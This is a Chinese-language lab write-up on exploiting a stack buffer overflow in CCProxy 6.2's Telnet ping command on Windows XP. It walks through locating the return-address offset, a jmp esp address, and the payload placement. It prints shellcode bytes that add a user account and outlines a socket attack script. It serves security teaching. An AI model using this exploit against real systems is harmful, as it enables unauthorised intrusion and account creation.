溢出对象:CCProxy 6.2
调试工具: WinDbg,pattern.py
实验环境: Windows XP sp1或sp2,kali Linux
漏洞说明:
CCProxy在代理Telnet协议时,可以接受 Ping命令 。Ping命令格式:ping hostname\r\n 。
当hostname的长度大于或者等于1010字节时,CCProxy 6.2会发生缓冲区溢出,导致程序崩溃。
如下图所示:
ping指令后面,跟着1010以上的A。
如果终端提示“Host not found”,说明 CCProxy正确地处理了这个畸形数据,仍工作正常 。
如果终端提示“失去了跟主机的连接”,表明 CCProxy已经崩溃。
漏洞利用:
利用 CCProxy 6.2的这个缓冲区溢出漏洞,利用ping命令向其发送一个长的字符串,溢出局部变量,覆盖RET的位 置,从而实现程序跳转。
1、定位RET
2、寻找跳转指令地址
3、构造shellcode
4、定位shellcode存放位置
5、编写攻击程序
在WinDbg中打开CCProxy .exe,输入g进入调试模式
打开cmd,输入talnet 127.0.0.1
执行漏洞,即Ping xxxxxx.....
此时,WinDbg捕捉到CCProxy 的Access Violation事件
可以发现,EIP的内容为41414141(字符A的 ASCII码是0x41)。这是因为栈中存放RET值的地方已经被41414141 覆盖,当函数返回时,就将这个值弹出到EIP寄存器 EIP中存放的是程序下一条指令的地址。但程序 在0x41414141地址处找不到可执行的指令,因此 报错。
ESP和ESI指向的内容都有我们植入的字符串
选择ESP寄存器来实现程序流程跳转 。即:将shellcode放在ESP寄存器指向的内存单元中,然后在RET位置填充一条指向 jmp esp指令的地址,于是函数返回时,就 能执行jmp esp,跳转到ESP中的shellcode 上运行
第一步:知道缓冲区有多大,定位RET的位置
先在kali Linux中yongpattern.py脚本生成2000个不重复的字符
将这串字符串通过 ping命令发送给CCProxy,WinDbg捕捉到异常
EIP寄存器的值为:0x68423768
计算出它在整个长为 2000的字符串中的偏移是1012
这说明,RET相对缓冲区的偏移大小是 1012字节。
由于EBP占4字节,故存放局部变量的缓冲区大小为1008字节
第二步:寻找jmp指令
前面说了,选择通过jmp esp来实现程序跳转,也就是说,要在RET的位置放置 jmp esp指令的地址,那么,到哪里找jmp esp指令呢? 最好是能在系统中找到现成的,而不需要我们重新再构造。 事实上,在Windows系统的许多DLL中都能找到jmp esp这样一条指令,一个通用的地址是0x7ffa4512。
在WinDbg下使用U 7ffa4512来确定该处指令 是JMP ESP
前面分析,ping后接字符串的1012字节位置开始的4个字节将覆盖RET 。于是,变可以在前4个字节上填充0x120x450xfa0x7f 。程序运行到此,就会转向地址0x7ffa4512 找到jmp esp指令并执行,其流程发生变化。
第三步:构造shellcode
Shellcode一般构造步骤:
1、用C语言实现功能
2、将其修改为带有shellcode特点的汇编
3、根据汇编程序得到机器码形式的shellcode
www.metasploit.com提供了许多通用的 Shellcode ,可以采用任何你喜欢的shellcode, 比如打开某一特定端口,执行某一特定程序,添加管理员帐户,下载程序到本地执行等。
这里构造一个在目标主机添加管理员账户的shellcode:
shellcode = b'\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x0C\xC6\x45\xF0\x6E\xC6\x45\xF1\x65\xC6\x45\xF2\x74\xC6\x45\xF3\x20
\xC6\x45\xF4\x75\xC6\x45\xF5\x73\xC6\x45\xF6\x65\xC6\x45\xF7\x72\xC6\x45\xF8\x20\xC6\x45\xF9\x61\xC6\x45\xFA\x20
\xC6\x45\xFB\x2F\xC6\x45\xFC\x61\xC6\x45\xFD\x64\xC6\x45\xFE\x64\x8D\x45\xF0\x50\xB8\xC7\x93\xBF\x77\xFF\xD0'
第四步:定位shellcode存放位置
要把shellcode放置在程序崩溃时ESP 指向的地址处 。那么,程序崩溃时,ESP指向什么位置呢?
同样,我们可以用定位RET偏移的方法来 定位ESP指向的位置
ESP指向字符串的第4个字节 。因此,我们把shellcode放在字符串的第4 个字节处 。而且shellcode的大小必须小于缓冲区大小。
第五步:编写攻击程序
Socket编程
连接目标主机(connect)
构造溢出字符串(即构造后接shellcode的 ping命令:ping shellcode\r\n)
向目标主机发送溢出字符串(send)
关闭连接
Linux运行攻击程序test.py
运行成攻
目标主机XP查看用户账户:
攻击成功!